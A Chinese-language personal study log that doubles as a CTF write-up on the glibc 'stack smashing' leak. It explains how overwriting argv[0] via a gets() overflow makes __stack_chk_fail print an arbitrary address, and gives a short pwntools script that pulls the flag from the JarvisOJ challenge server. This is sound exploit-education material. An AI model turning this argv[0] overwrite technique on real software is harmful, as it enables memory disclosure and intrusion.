171119 Pwn-StackSmash

1625-5 王子昂 总结《2017年11月19日》 【连续第415天总结】
A. pwn-StackSmash
B.

原理

当程序加了Cannary来保护时,栈溢出会使得程序异常终止并输出错误信息
StackSmash就是利用这个错误信息进行任意地址读取的
报错函数为__stack_chk_fail,代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "");
}

最后一行可以看到,输入内容中存在__libc_argv[0],即程序名
又因为argv数组实际上存在于main函数的参数中,因此可以通过栈溢出来覆盖它,从而造成读取漏洞

以JarvisOJ上的pwn(2)为例复现

分析

主函数代码如下
171119 Pwn-StackSmash_第1张图片
很容易可以看到第三行,_IO_gets(&v4)处存在栈溢出

此外,下文对byte_600d20进行了覆盖,很明显它就是flag
这里要利用另一个知识点:
ELF内存映射时,BSS段会被映射两次
因此可以利用另一处来输出,地址通过edb/gdb等动态调试工具可以查找到
这里写图片描述
可以看到 地址是0x400d20

构造溢出

首先查找argv[0]的地址,在这里
171119 Pwn-StackSmash_第2张图片
而栈中溢出点的地址则可以通过输入的标记字符串来查找
171119 Pwn-StackSmash_第3张图片

从而写出脚本:

from pwn import *
sh = remote('pwn.jarvisoj.com', 9877)
argv_addr = 0x7fffffffe288
name_addr = 0x7fffffffe070
flag_addr = 0x400d20
payload = 'a' * (argv_addr - name_addr) + p64(flag_addr)
sh.recv()
sh.sendline(payload)
sh.recv()
sh.send('\n')
print sh.recvall()

运行即可得到flag
171119 Pwn-StackSmash_第4张图片

后记

一些WP中说照这样做并得不到flag,在其中一篇中得到了可能的解释:
http://blog.csdn.net/happyorange2014/article/details/50459201
要设置环境变量中LIBC_FATAL_STDERR_=1,它代表错误信息优先输出到STDERR中,从而能让我们接收到
环境变量同样存放在main的参数中
由于栈溢出时只能写入指针,而我们可操作、地址又已知的内存就只有被覆盖的0x600D20了
因此可以通过两次写入实现修改环境变量的目的

C. 明日计划
安卓逆向

你可能感兴趣的:(CTF)